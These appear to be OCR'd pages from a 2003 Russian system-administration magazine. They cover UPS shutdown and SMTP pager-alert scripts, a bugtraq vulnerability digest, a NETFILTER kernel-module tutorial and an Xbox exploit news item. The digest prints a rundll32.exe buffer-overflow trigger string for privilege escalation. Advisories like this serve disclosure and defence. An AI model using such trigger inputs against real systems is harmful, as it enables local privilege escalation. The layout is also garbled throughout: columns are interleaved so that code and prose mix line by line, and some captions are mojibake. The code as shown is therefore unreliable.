#define PAUSE 15
#define REQ_OFF 0xbc пания на грабли».
Лично у меня после установки всего обеспечения по
int main(int argc, char *argv[]) инструкции программа наотрез отказывалась видеть ИБП.
{ Размышления методом исключения через некоторое вре-
int fd; мя привели к мысли, что проблема в кабеле.
unsigned char off = REQ_OFF;
unsigned char pause = PAUSE;
if (argc < 2) {
fprintf(stderr, "Usage: poweroff <device> [time(sec)]\n");
exit(1);
}
/* Open monitor device. */
if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
exit(1);
}
if (argc > 2) {
pause = (unsigned char)atoi(argv[2]);
}
write(fd, &off, 1);
sleep(1/5);
write(fd, &pause, 1);
Ðèñóíîê 4.
close(fd); После чего мной были исследованы кабели от не-
return 0; скольких моделей, разных по емкости и годам выпус-
ка. В результате выяснилось, что существует несколь-
}
ко различных разводок кабелей, и у меня как раз ока-
# gcc -c poweroffups.c зался не тот, который нужен. Возможно, если бы все
# gcc -o poweroffups poweroffups.o
заработало сразу, то я бы и не стал писать статью. Итак,
либо: далее (рис. 5, рис. 6) разводки. Если у кого окажется
третья – напишите, будет интересно.
# gcc poweroffups.ñ -o poweroffups Если у вас компьютер новый (в корпусе ATX, рис. 7), то
подключение осуществляется очень просто.
Готовый файл лучше записать в директорию /sbin, при Если же у вас компьютер старый (в корпусе AT, рис. 8),
необходимых требованиях безопасности, задав ему со- то у вас наряду с 9-контактным разъемом для COM-порта
ответствующие атрибуты. Для его запуска ему надо пе- (DB-9) может встретиться и 25-контактный (DB-25).
редать два параметра: первый – порт, к которому под- Для подключения к разъему DB-25 может использо-
ключен ИБП и на который надо посылать сигнал, а вто- ваться переходник (рис. 9).

58

Ðèñóíîê 5. Ðàçâîäêà 1. (Ðàáî- Ðèñóíîê 6. Ðàçâîäêà 2.
òàåò). Ðàçúåìû DB-9, íà îäíîì (Íå ðàáîòàåò).
ðàçúåìå íàïèñàíî KIN-1, òàêæå
åñòü êàáåëü ñ òàêîé æå ðàçâîä-
êîé, íî áåç íàäïèñè KIN-1.
Ðèñóíîê 7.
Ðèñóíîê 8.
Переходник можно купить готовый или спаять свой при
наличии разъемов и разводки. Разводку и описание сиг-
налов можно увидеть в таблице 1.
В случае приобретения готового переходника советую
проверить его разводку тестером. Возможно, что ваш пе-
№8(9), август 2003
hardware
Òàáëèöà 1. Ðàçâîäêà è ñèãíàëû ïîñëåäîâàòåëüíîãî èíòåðôåéñà
(ÑÎM-ïîðòà).
Ðèñóíîê 9.
реходник будет распаян по другой схеме, и ничего у вас
работать не будет.
После того как все было поставлено и заработало,
надеюсь, что у вас, как и у меня, возник вопрос сигнали-
зации.
При пропадании напряжения сервер переходил в ре-
жим выключения, после ждал, что напряжение появится,
и если оно минут через 10 не появлялось, то он сохранял-
ся и выключался сам. При этом отключался и сам ИБП.
Далее, при появлении напряжения все это дело включа-
лось обратно, загружалось и работало. Небольшая слож-
ность была только в настройках BIOS. Так как корпус у
меня ATX, то для него можно прописать, как вести себя
компьютеру в случае пропадания и после появления на-
пряжения. Компьютер может перейти в то состояние в ко-
тором он был до исчезновения электропитания, то есть
включиться, если был включен, или не включаться, если
был выключен. Насколько я помню, пришлось включить
режим включения при появлении напряжения после про-
падания. Так как выключение ИБП случалось через 5 се-
кунд, то компьютер успевал выключиться раньше и ока-
зывался выключенным на момент снятия с него напряже-
ния, поэтому после не включался. В общем, опытным пу-
тем за несколько минут вы разберетесь.
Если пропадает напряжение, то это уже неординарная
ситуация, несмотря на то, что все может само работать,
как описано выше. Это, скорее, небольшое ЧП, так как,
во-первых, пропадает сервис. Каково, если у вас упадет
веб-сервер, и вы потеряете вашу хорошую репутацию,
часть клиентов и вместе с ними вашу выгоду. Во-вторых,
не факт, что напряжение дадут в разумный срок. Даже у
любого мощного дизельного генератора без обслужива-
59
 hardware
ния и дозаправки рано или поздно закончится солярка. В- мости наш народ обязательно что-то придумает, ну а вот
третьих, может зависнуть и что-то другое, поэтому адми- ниже, собственно, скрипт, осуществляющий отсылку со-
нистратора лучше информировать о событиях, связанных общений:
с электропитанием. Логично, что проще всего это делать
через почту, а почта может быть послана на SMS-шлюз #!/usr/local/bin/perl
или наш шлюз пейджинговой компании в качестве пейд- use Socket;
жингового сообщения. При наличии в системе sendmail, $pagermail="xxxxxx\@xxxxxxxx.ru";
$pagersmtp="XX.XX.XX.XX";
qmail или других почтовых программ (MTA, mail transfer
agent) проблема решена, однако вопрос: «Что делать, если $from='server@yyyyyyyy.ru';
$subject ='Server power fail!';
эти программы не должны стоять на сервере, скажем, в $date = localtime time;
целях безопасности, либо для них нет места?». Выход из
########### Send to pager ###########
этой ситуации довольно простой – написать небольшой
скрипт, например на Perl, который бы запускался в нуж- socket(SMTP, PF_INET(), SOCK_STREAM(),6);
connect(SMTP,sockaddr_in(25,inet_aton($pagersmtp)));
ном случае, соединялся бы с заранее определенным recv(SMTP, $buffer, 200, 0);
SMTP-сервером, для которого можно настроить правила
send(SMTP, "HELO pasha\r\n",0);
iptables, и отсылал бы сообщение. Возможно, кто-то по- recv(SMTP, $buffer, 200, 0);
лезным для себя в этой статье найдет только этот скрипт,
send(SMTP, "MAIL FROM: <$from>\r\n",0);
хотя подобные вещи давно уже описаны в различной ли- recv(SMTP, $buffer, 200, 0);
тературе и не раз [2]. Конечно, это порочный круг – слать
send(SMTP, "RCPT TO: <$pagermail>\r\n",0);
сообщения об ошибках через сеть, может же не только recv(SMTP, $buffer, 200, 0);
питание пропасть, но и сеть как раз не работать. Об этом
я упомянул в самом начале, когда говорил о возможности send(SMTP, "DATA\r\n",0);
защиты телефонной линий от некоторых помех средства- recv(SMTP, $buffer, 200, 0);
ми вышенастроенного ИБП. Как вариант можно настро- send(SMTP, "From: $from\r\n",0);
ить модемное соединение, и сервер будет звонить аль- send(SMTP, "To: $pagermail\r\n",0);
send(SMTP, "Subject: $subject\r\n",0);
тернативному провайдеру, однако это тема отдельной ста- send(SMTP, "Mime-Version: 1.0\r\n",0);
тьи по вопросу организации сигнализации на основе ре- send(SMTP, "Content-Type: text/plain; charset=koi8-r\r\n",0);
send(SMTP, "Content-Transfer-Encoding: 8bit\r\n",0);
зервных модемных каналов. Да и наличие отдельной сво-
бодной телефонной линии тоже не всегда имеется. По- send(SMTP, "\r\n",0);
этому это не очень удачный выход. В таком случае лучше send(SMTP, "Power failure. System going to gåðåíîñ ñòðîêè
использовать мобильные терминалы вроде Siemens TC35 poweroff in 10 minutes. $date\r\n",0);
Terminal [3], подключаемые к COM-порту. Это небольшая send(SMTP, "\r\n.\r\n",0);
коробочка, которая подключается к компьютеру, в нее recv(SMTP, $buffer, 200, 0);
#print "SMTP answer on message to pager: $buffer\n";
вставляется обычная SIM-карта для работы GSM-телефо-
нов. К сожалению, терминала, работающего со стандар- send(SMTP, "QUIT\r\n",0);
recv(SMTP, $buffer, 200, 0);
том CDMA, я пока не видел и не слышал о существовании
такового. Далее, компьютер с помощью набора своеоб- close (SMTP);
разных at-команд (GSM 07.05) может посылать вам на
телефон SMS более быстрым и надежным путем, исклю- В нем необходимо вначале вписать адрес SMTP-серве-
чая многие недостаточно надежные элементы. Значитель- ра, который вас пустит к себе и разрешит вам отправлять
но повышается вероятность доставки, так как из общей сообщения $pagermail="xxxxxx\@xxxxxxxx.ru"; и вписать
вероятности отказа исключаются вероятности того, что адрес, на который вы собираетесь посылать сообщения.
небудут работать модем, телефонная линия, коммутато-
ры на АТС, модемы провайдера, непосредственно отсы- $pagersmtp="XX.XX.XX.XX";
лающего вам SMS, телефонная линия будет занята и т. д.
Кому-то это может показаться дорого (около $250 за тер- Еще следует подправить обратный адрес, который
минал) плюс ежемесячная абонентская плата сотовому будет подставляться в ваши письма:
оператору, либо большой кредит. Следует заметить что,
какой-нибудь Pentium 100 может быть еще долго вполне $from='server@yyyyyyyy.ru';
жизнеспособен и по цене быть гораздо дешевле этого
самого терминала. Вопрос же абонентской платы при и другие переменные при необходимости (обратите вни-
желании можно попробовать решить созданием дублика- мание на разницу написания знака @ в случае использо-
та SIM-карты, однако не всякий провайдер поддержит та- вания одинарных и двойных кавычек).
кое начинание и будет гарантировать надежную работу. Для диагностики можно раскомментировать строчку,
Многие умудряются переделать старые мобильные теле- где выводится ответ от сервера. Скорее всего, эта инфор-
фоны для этого, цена от этого получается меньше, на- мация попадет на консоль и в /var/log/messages, будучи
дежность тоже несколько ниже. Как обойти проблему по- перенаправленной средствами вне этого скрипта.
рочного круга при минимуме затрат – это уже другой воп- Данный файл следует сделать запускаемым:
рос, к этой статье прямо не относящийся. При необходи- # chmod +x power_fail

60

и поместить в директорию /sbin/pager, куда на него уже
ссылается файл powerfail. При повышенных требованиях
к безопасности следует не забыть установить требуемые
атрибуты у файла.
Данный файл надо запускать из /etc/powerfail, лучше
фоновым процессом /sbin/pager/power_fail & перед /sbin/
shutdown –t30 –r +10 "POWER FAILURE", тогда не будет под-
висания системы, если вдруг чего-то не отошлется. Иначе
управление ко второй строке может придти не сразу.
Ðèñóíîê 10.
Аналогичные файлы создаются и на случай появле-
ния напряжения после пропадания power_okay и на слу-
чай разрядки батарей при пропадании напряжения
power_failnow.
Разумно также составить файл, который будет запус-
№8(9), август 2003
hardware
каться при загрузке системы, например, он будет назы-
ваться system_up и будет запускаться из /etc/rc.d/rc.local,
см. выше. Считаю необходимым это сделать по той при-
чине, что перезагрузка реально работающего сервера
вручную администратором происходит очень редко, реже
чем раз в полгода и то при профилактическом обслужи-
вании. Поэтому случаи перезагрузки можно рассматри-
вать на уровне с таким ЧП, как пропадание электропита-
ния, если не более существенным.
Литература:
1. Борзенко А.Е. IBM PC: устройство, ремонт, модерниза-
ция. – 2-е изд., перераб. и доп. – М.:ТОО фирма «Компь-
ютер Пресс», 1996.
2. Касперски К. Техника сетевых атак. Том 1. – М.: СО-
ЛОН-Р, 2001.
3. SIEMENS TC35 Терминал (функциональные возможно-
сти), http://www.olicom.spb.ru/ts35_4.html, 2003.
4. The UPS Howto: http://www.europe.redhat.com/
documentation/HOWTO/UPS-HOWTO-8.php3; http://
www.europe.redhat.com/documentation/HOWTO/UPS-
HOWTO.php3, 2003.
5. Тейнсли Д. Linux и UNIX: программирование в shell. Ру-
ководство разработчика: Пер. с англ. – К.: Издательская
группа BHV, 2001.
6. Митчел М., Оулдем Д., Самьюэл А. Программирование
для Linux. Профессиональный подход.: Пер. с англ. – М.:
Издательский дом «Вильямс», 2002.
61
bugtraq
Злонамеренный SMB-пакет может
выполнить произвольный код
на системах
Windows NT Server 4.0/XP/2000
Уязвимость обнаружена в обработке параметров SMB-
пакетов. Удаленный атакующий может выполнить про-
извольный код на целевой системе.
Server Message Block (SMB) – интернет-протокол, ко-
торый позволяет Windows-пользователям открывать об-
щий доступ к файлам, принтерам, серийным портам и
связываться между компьютерами, используя имено-
ванные каналы и почтовые сегменты (mail slots).
Недостаток обнаружен в пути, которым сервер про-
веряет правильность параметров SMB-пакетов. Когда
система клиента посылает SMB-пакет к серверной си-
стеме, он включает определенные параметры, которые
содержат набор «инструкций» для сервера. В этом слу-
чае сервер не проверяет правильность длины буфера,
установленного пакетом. Если длина буфера, опреде-
ленная клиентом, меньше, чем необходимо, произой-
дет переполнение буфера.
Атакующий может сконструировать специально об-
работанный SMB пакет, чтобы переполнить буфер на
сервере. В результате может нарушиться целостность
данных, работа системы может аварийно завершиться
или атакующий может выполнить произвольный код на
сервере. Для эксплуатации этой уязвимости атакующий
должен быть предварительно авторизован на сервере.
Уязвимость обнаружена в Windows NT Server 4.0/
XP/2000. Microsoft оценил риск обнаруженной уязвимо-
сти как «Important».
Для устранения уязвимости, установите патч, кото-
рый можно скачать отсюда:
http://microsoft.com/downloads/
details.aspx?FamilyId=D415A4AC-E13A-4E8A-BE25-
85E7DF686F61&displaylang=en
Переполнение буфера в rundll32.exe
в Microsoft Windows 2000/XP
Переполнение буфера обнаружено в rundll32.exe. Ло-
кальный пользователь может выполнить произвольный
код на системе с поднятыми привилегиями. Перепол-
нение обнаружено в rundll32.exe, когда передается боль-
шая строка как стандартное имя для модуля. Пример:
rundll32.exe advpack32.dll,<“A”x499>
advpack32.dll выбран в качестве примера. Уязвимость
работает с любым модулем.
Уязвимость обнаружена в WindowsXP SP1. Возмож-
но, другие версии также уязвимы.
Способов устранения обнаруженной уязвимости не
существует в настоящее время.
62
Определение существования
приватного IP-адреса
в пакетном фильтре pf OpenBSD
Уязвимость раскрытия информации обнаружена в пакет-
ном фильтре pf OpenBSD. Удаленный пользователь мо-
жет раскрыть частный IP-адрес или номер порта.
Сообщается, что в некоторых конфигурациях, в ко-
торых пакеты перенаправляются с помощью «pf», уда-
ленный пользователь может выполнить «brute force» на-
падение, конструируя одиночный TCP SYN пакет (на-
пример, к 25 порту) для каждого IP-адреса в приватной
адресной сетке. Система ответит только в случае, если
запрошен существующий IP-адрес.
Способов устранения обнаруженной уязвимости не
существует в настоящее время.
Доступ к зашифрованным паролям
в Microsoft Commerce Server 2002
Уязвимость обнаружена в Microsoft Commerce Server.
Локальный пользователь может расшифровать паро-
ли к SQL-серверу.
Сообщается, что когда Microsoft Commerce Server кон-
фигурирован, чтобы использовать авторизацию SQL-
cервера, Commerce Server хранит пароли SQL-сервера
в реестре Windows в ключе HKEY_LOCAL_MACHINE\
SOFTWARE\ Microsoft\Commerce Server «ADMINDBPS».
Согласно сообщению, все локальные пользовате-
ли в группе «Users» могут читать это значение реест-
ра. Зашифрованный пароль может быть расшифрован.
Уязвимость обнаружена в Microsoft Commerce
Server 2002.
Способов устранения обнаруженной уязвимости не
существует в настоящее время.
Доступ к системной учетной записи
через именованные каналы в Microsoft
Windows 2000 Terminal Services
Уязвимость обнаружена в Microsoft Windows 2000. Ата-
кующий может получить доступ к учетной записи
SYSTEM. Сообщается, что Microsoft Windows не в со-
стоянии правильно обрабатывает именованные кана-
лы с Terminal Services. В результате атакующий (ло-
кальный и, возможно, удаленный) может получить до-
ступ к системе с SYSTEM-привилегиями.
Уязвимость обнаружена в Microsoft Windows 2000
SP3.
Уязвимость устранена в Microsoft Windows 2000 SP4.
Составил Александр Антипов
сети

NETFILTER

ВЛАДИМИР МЕШКОВ

64

Общие сведения
NETFILTER – это новый механизм фильтрации сетевых па-
кетов, появившийся в составе ядра Linux версий 2.4. Дан-
ный механизм позволяет отслеживать прохождение паке-
тов по стеку IP-протокола и при необходимости перехва-
тить, модифицировать, блокировать любой пакет. На базе
NETFILTER построен iptables – пакетный фильтр, широко
использующийся при построении межсетевых экранов.
Для включения NETFILTER в состав ядра необходимо
в конфигурационном файле установить опцию CON-
FIG_NETFILTER = y и пересобрать ядро. После этого все
пакеты, проходящие по стеку IPv4-протокола, будут обра-
ботаны NETFILTER. Рассмотрим для примера главную при-
емную функцию IPv4-протокола ip_rcv (файл ip_input.c).
Найдем в ней следующий код:
return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, ↵
NULL, ip_rcv_finish);
Обращение к NETFILTER выполняет макрос NF_HOOK.
В вызове макроса указаны протокол (PF_INET), точка пе-
рехвата (NF_IP_PRE_ROUTING), поступивший пакет (струк-
тура skb), информация о входном и выходном интерфей-
сах (структура dev и NULL, соответственно). В точке пере-
хвата пакет попадает в ловушку – так называется функ-
ция, которая на основе анализа адресной информации ре-
шает судьбу пакета: либо он пройдет дальше, либо будет
уничтожен. Последний аргумент – функция, которая будет
вызвана для дальнейшей обработки поступившего паке-
та. Эта функция будет вызвана только в том случае, если
NETFILTER пропустит пакет.
В случае если NETFILTER в состав ядра не включен
(опция CONFIG_NETFILTER = n) или ловушка не установ-
лена, макрос сразу вызовет функцию ip_rcv_finish для
дальнейшей обработки пакета.
Цель данной статьи – рассмотреть возможность при-
менения NETFILTER при написании собственных модулей
фильтрации сетевого трафика.
Точки перехвата
Рассмотрим схему прохождения пакета по стеку IPv4-
протокола (рис.1). Поступивший на сетевой интерфейс
пакет попадает в точку PRE_ROUTING. Если пакет ад-
ресован локальному хосту, ядро передает его для обра-
ботки локальному процессу (точка LOCAL_IN). Если па-
кет транзитный, из точки PRE_ROUTING он попадает в
точку FORWARD и из нее двигается дальше в точку
POST_ROUTING. В этой точке объединяются в один по-
ток исходящие пакеты, сформированные локальными
процессами (LOCAL_OUT), и транзитные пакеты, посту-
пившие из точки FORWARD.
Ðèñ. 1. Ñõåìà ïðîõîæäåíèÿ ïàêåòà ïî ñòåêó Ipv4-ïðîòîêîëà.
№8(9), август 2003
сети
При помощи NETFILTER можно перехватить пакет в
любой из этих точек. С этой целью к точке перехвата под-
ключается ловушка (hook).
Если мы хотим отслеживать все пакеты, поступающие
на хост (включая транзитные), мы должны подключиться
к точке PRE_ROUTING.
Если нас интересуют пакеты, адресованные непосред-
ственно нашему (локальному) хосту, то необходимо под-
ключиться к точке LOCAL_IN и т. д.
Регистрация ловушки
Перед подключением ловушку необходимо зарегистри-
ровать. Это осуществляется путем заполнения структу-
ры nf_hook_ops и вызова функции регистрации ловуш-
ки nf_register_hook(). Аргументом этой функции являет-
ся адрес структуры nf_hook_ops. Структура nf_hook_ops
определена в заголовочном файле <linux/netfilter.h>.
Рассмотрим ее:
struct nf_hook_ops
{
struct list_head list;
/* User fills in from here down. */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hooks are ordered in ascending priority. */
int priority;
};
Основные поля структуры:

nf_hookfn *hook – ловушка, т.е. функция, которая бу-
дет вызвана для обработки (анализа) пакета. Именно
эта функция решает, что сделать с пакетом – отбро-
сить его или принять.

int pf – протокол. Для IPv4 это значение равно PF_INET.

int hooknum – точка подключения ловушки.

int priority – приоритет. К одной точке может быть под-
ключено несколько ловушек. Чтобы установить поря-
док их вызова, вводится приоритет. Ловушка с самым
низким приоритетом первой обработает пакет.
Прототип функции-ловушки также определен в файле
<linux/netfilter.h> и выглядит следующим образом:
typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *));
Аргументы функции:

unsigned int hooknum – точка подключения ловушки (оп-
ределяется в структуре nf_hook_ops).

struct sk_buff **skb – двойной указатель на структуру
sk_buff. Данная структура содержит полную информа-
цию о сетевом пакете. Определена в файле <linux/
skbuff.h>.

const struct net_device *in, *out – информация о вход-
ном и выходном интерфейсе.
Перечень возвращаемых функцией значений перечис-
лен в файле <linux/netfilter.h>.
65
 сети
Пример использования NETFILTER const struct net_device *indev,
const struct net_device *outdev,
Рассмотрим на простом примере, как использовать int (*okfn)(struct sk_buff *)) {
NETFILTER. Разработаем модуль ядра, выполняющий сле-
iph = (*pskb)->nh.iph;
дующие действия: pkt->iph_len = iph->ihl<<2;

перехват и блокирование IP-пакета, адресованного ло- pkt->pkt_len = (*pskb)->len;
кальному хосту; memset((*pskb)->data+pkt->iph_len,0, ↵

передачу перехваченного IP-пакета пользовательско- ((*pskb)->len)-(pkt->iph_len));
memcpy(pkt->buff,(*pskb)->data,(*pskb)->len);
му процессу.
printk("Indev - %s\n",(char *)indev);
printk("Outdev - %s\n",(char *)outdev);
Пользовательский процесс, приняв пакет, отображает
данные о нем, такие как IP-адреса отправителя и получа- pkt_ready = 1;
return NF_DROP;
теля, длину заголовка, длину всего пакета, и сбрасывает
содержимое пакета в файл. }
Ловушка активизируется в момент открытия устрой-
ства пользовательским процессом. При закрытии устрой- Аргументы функции были перечислены выше. Функ-
ства ловушка отключается. ция заполняет поля структуры pkt данными о перехвачен-
ном пакете. Эти данные содержатся в структуре struct
Модуль sk_buff **pskb. Объединение nh данной структуры содер-
Модуль является символьным устройством. Создадим для жит заголовок сетевого уровня (network layer header), поле
него файл устройства командой: len – длину IP-пакета, поле data – содержимое пакета. Эти-
ми значениями заполняется структура pkt, причем поле
mknod /dev/nf_ip c 76 0 данных IP-пакета обнуляется. После этого устанавлива-
ется флаг готовности данных для считывания и ядру да-
Заголовочные файлы и переменные: ется команда блокировать дальнейшее прохождение дан-
ного пакета (return NF_DROP).
#include <linux/config.h> Заполним структуру struct nf_hook_ops:
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h> static struct nf_hook_ops our_ops = {
#include <linux/slab.h> {NULL,NULL},
#include <linux/fs.h> our_hook,
#include <linux/types.h> PF_INET,
#include <asm/uaccess.h> NF_IP_LOCAL_IN,
NF_IP_PRI_FILTER-1
Приняв сетевой пакет, модуль заполняет информаци- };
онную структуру следующего содержания:
Ловушка подключается к точке LOCAL_IN, на что ука-
struct ip_pkt { зывает значение NF_IP_LOCAL_IN поля hooknum струк-
__u16 iph_len;
__u32 pkt_len; туры nf_hook_ops. Следовательно, перехвачен и блоки-
char buff[65536]; рован будет пакет, адресованный локальному хосту.
} *pkt;
Теперь определимся с функциями устройства (моду-
Эта структура будет передана пользовательскому про- ля). Пользовательский процесс должен открыть его, про-
цессу. Назначение полей структуры: читать данные и закрыть. Следовательно, структура

__u16 iph_len – длина заголовка IP-пакета; file_operations для данного устройства выглядит следую-

__u32 pkt_len – длина IP-пакета; щим образом:

char buff[65536] – содержимое IP-пакета (заголовок +
данные). struct file_operations nf_fops = {
read: read_pkt,
open: open_pkt,
Размер буфера buff равен максимальной длине паке- release: close_pkt,
};
та протокола IPv4.
Структура заголовка IP-пакета: Рассмотрим эти функции.

Функция открытия устройства:
struct iphdr *iph;
static int open_pkt(struct inode *inode, struct file *file)
{
Флаг готовности данных для считывания: if(MOD_IN_USE) return -EBUSY;
if(MINOR(inode->i_rdev) != 0) return -ENODEV;
if((file->f_mode) != 1) return -EBUSY;
int pkt_ready;
pkt=(struct ip_pkt *)kmalloc ↵
(sizeof(struct ip_pkt),GFP_ATOMIC);
Функция-ловушка: nf_register_hook(&our_ops);
pkt_ready = 0;
MOD_INC_USE_COUNT;
static unsigned int our_hook (
return 0;
unsigned int hook, }
struct sk_buff **pskb,

66
 сети
При открытии устройства выделяем память для струк- Заголовочные файлы:
туры pkt, регистрируем ловушку вызовом функции
nf_register_hook и сбрасываем флаг готовности данных. #include <stdio.h>
#include <sys/types.h>

Функция чтения из устройства: #include <unistd.h>
#include <fcntl.h>
#include <errno.h>
static ssize_t read_pkt(struct file *file, char *buf, ↵ #include <linux/ip.h>
size_t count, loff_t *ppos)
{ int main ()
if(pkt_ready) { {
copy_to_user(buf,pkt,sizeof(struct ip_pkt));
count = pkt->pkt_len;
file->f_pos += count; Структура, содержащая информацию о принятом па-
pkt_ready = 0;
return count; кете:
}
return 0;
} struct data_pkt {
u_short iph_len;
u_long len;
Если флаг pkt_ready установлен, блок данных (струк- char buff[65536];
} data;
тура pkt) копируется в адресное пространство пользова-
тельского процесса. После этого флаг pkt_ready сбрасы- Структура, описывающая заголовок IP-пакета:
вается. Функция возвращает длину принятого IP-пакета.

Функция закрытия устройства: struct iphdr ip;
int count=0;
static int close_pkt(struct inode *inode, struct file *file) int fddev=0;
{ int d;
kfree(pkt);
nf_unregister_hook(&our_ops); puts("\nÆäåì ïàêåò ... ");
MOD_DEC_USE_COUNT;
return 0;
} Обнуляем структуры:

При закрытии устройства освобождается память, вы- memset(&data,0,sizeof(struct data_pkt));

memset(&ip,0,sizeof(struct iphdr));
деленная для структуры pkt и ловушка отключается пу-
тем вызова функции nf_unregister_hook. Аргументом этой Открываем устройство:
функции является адрес структуры struct nf_hook_ops.

Функции инициализации и выгрузки модуля выполня- fddev=open("/dev/nf_ip",O_RDONLY);
if(fddev<0) {
ют стандартную процедуру регистрации и снятия ре- perror("nf_ip");
гистрации устройства в системе: exit(0);
}

int init_module(void) Запускаем цикл ожидания IP-пакета:

{
if (register_chrdev(76,"nf_ip",&nf_fops)) return -EIO;
return 0; for(;;) {
}
count=read(fddev,(char *)&data,sizeof(struct data_pkt));
void cleanup_module(void)
{ if(count < 0) {
if(MOD_IN_USE) return; perror("count");
unregister_chrdev(76,"nf_ip"); return (-1);
return; }
} if(count == 0) continue;
if(count > 0) {
close(fddev);
Приведенный выше код сохраним в файле netf.c. Для break;
получения загружаемого модуля ядра создадим Makefile }
}
следующего содержания:
Как только приходит пакет, закрываем устройство и
CC = gcc выходим из цикла.
CFLAGS = -O2 -Wall
LINUX = /usr/src/linux Информируем о приходе пакета и отображаем данные
MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include о нем:
netf.o: netf.c
$(CC) $(CFLAGS) $(MODFLAGS) -c netf.c printf("ïàêåò ïîëó÷åí.\n\n");
printf("Äëèíà ïàêåòà\t-\t%d\n",data.len);
printf("Äëèíà IP-çàãîëîâêà\t-\t%d\n",data.iph_len);
Теперь рассмотрим пользовательский процесс.
Запишем в файл содержимое полученного пакета (поле
Пользовательский процесс buff структуры struct data_pkt):
Пользовательский процесс после запуска открывает файл
устройства и считывает из него IP-пакет, отображает дан- d=open("data.file",O_CREAT|O_TRUNC|O_RDWR,0600);
if(!d) {
ные о нем и сбрасывает содержимое пакета в файл data.file. perror("data.file");

№8(9), август 2003 67

 сети
return (-1); 00000030 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
} 00000040 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
00000050 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
if(!(write(d,data.buff,data.len))) {
perror("data.file");
return (-1); Первые 20 байт – это заголовок пакета. По смещению
} 0x0C находятся IP-адреса источника и получателя – DF
close(d); DF 01 0A (223.223.1.10) и DF DF 01 03 (223.223.1.3). Поле
данных IP-пакета обнулено.
Первые (data.iph_len) байт массива data.buff – это за- Теперь изменим условие задачи – будем перехваты-
головок принятого IP-пакета. Скопируем его в структуру вать и блокировать пакеты, исходящие с локального хос-
struct iphdr и отобразим данные: та. Для этого переключим ловушку в точку LOCAL_OUT.
В структуре our_ops в поле hooknum занесем значение
memcpy(&ip,data.buff,data.iph_len); NF_IP_LOCAL_OUT, т.е. структура примет вид:
printf("\nSource IP\t-\t%s\n",inet_ntoa(ip.saddr));
printf("Destin. IP\t-\t%s\n",inet_ntoa(ip.daddr));
printf("Ïðîòîêîë\t-\t%d\n",ip.protocol); static struct nf_hook_ops our_ops = {
printf("Äëèíà çàãîëîâêà\t-\t%d\n",ip.ihl<<2); {NULL,NULL},
printf("Äëèíà ïàêåòà\t-\t%d\n\n",ntohs(ip.tot_len)); our_hook,
PF_INET,
return (0); NF_IP_LOCAL_OUT,
NF_IP_PRI_FILTER-1
} };

Приведенный код сохраним в файле pkt_read.c. Полу- Перекомпилируем и загружаем модуль, запускаем
чим исполняемый модуль, введя команду: пользовательский процесс и удаленному хосту отправля-
ем три ICMP-пакета:
gcc -o pkt_read pkt_read.c
ping -c3 223.223.1.10
Теперь проверим, как все это работает. Схема следу-
ющая: имеется локальный хост с адресом 223.223.1.3 и Результат работы команды ping:
удаленный с адресом 223.223.1.10. С локального хоста
отправляем три ICMP-пакета удаленному при помощи ути-
литы ping и смотрим за реакцией системы.
Загружаем модуль (insmod netf.o) и запускаем на вы-
полнение пользовательский процесс (pkt_read).
Удаленному хосту отправляем три ICMP-пакета:

ping -c3 223.223.1.10

Результат работы команды ping:
Как и ожидалось, первый пакет потерян. Наш модуль
его заблокировал. Пользовательский процесс выдал сле-
дующую информацию об этом пакете:
Первый пакет в сеть не попал – был заблокирован мо-
дулем. Следующие два прошли беспрепятственно.
Таким образом, при помощи NETFILTER мы получили
возможность воздействовать на процесс прохождения
пакетов по стеку IPv4-протокола, перехватывать их, бло-
кировать, изменять их содержание. Это может оказаться
полезным, если вы решите разработать собственный мо-
дуль фильтрации сетевого трафика, учета статистики тра-
фика, шифрования IP-пакетов и т. д.

А теперь посмотрим на содержимое файла data.file.

Размер этого файла равен длине пакета (84 байт). От-
крыв его 16-тиричным редактором, увидим следующее:

00000000 45 00 00 54 | 01 6C 00 00 | FF 01 F8 70 | DF DF 01 0A
00000010 DF DF 01 03 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
00000020 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00

68

Целочисленное переполнение буфера
в Xbox
Так называемая группа Free-X утверждает, что ей уда-
лось преодолеть все уровни защиты игровой консоли без
каких-либо модификаций аппаратуры, чем навлекла на
себя резкую критику со стороны Microsoft. Free-X утверж-
дает также, что соответствующий эксплоит уже разослан
через список рассылки.
Члены группы рассказали ZDNet Australia, что Free-X
честно пыталась договориться с Microsoft и просила вы-
пустить загрузчик Linux с цифровой подписью, позволя-
ющий владельцам Xbox исполнять операционную систе-
му с открытым исходным кодом без каких-либо модифи-
каций аппаратуры и вскрытия консоли. Microsoft не всту-
пила в переговоры.
Представители группы отвергают обвинения в по-
творстве пиратам и в свою очередь обвиняют компа-
нию в отказе защитить интеллектуальную собствен-
ность разработчиков игры. По их словам, загрузчик с
цифровой подписью не позволил бы использовать кон-
соль для пиратских игр, а тот, что разработала Free-X,
– позволяет. Free-X утверждает, что у нее нет намере-
ния способствовать пиратству. «Если бы Microsoft со-
гласилась на Linux с цифровой подписью... нелегаль-
ное использование пиратского ПО можно было бы пре-
дотвратить, – говорится в заявлении Free-X. – Жаль,
что Microsoft не разделяет нашего беспокойства по по-
воду защиты прав интеллектуальной собственности
тех, кто разрабатывает ПО для их консоли».
Microsoft, которая очень далека от того, чтобы признать
деятельность группы антипиратской, обрушилась на нее
с резкой критикой. «К вашему и этих... типов сведению,
отделение Microsoft Xbox очень серьезно относится к пи-
ратству видеоигр, – сообщила ZDNet Australia по e-mail
представительница Microsoft. – Защита интеллектуаль-
ной собственности и авторских прав – наших и наших
партнеров – высший приоритет для нас, и мы оставляем
за собой право преследовать каждого и принимать меры
против каждого, кто способствует пиратству видеоигр».
Несколько недель назад, когда члены группы впервые
обратились к ZDNet Australia, они не сказали, что распо-
лагают таким серьезным эксплоитом, а сообщили, что все
их разработки требуют перепайки нескольких выводов на
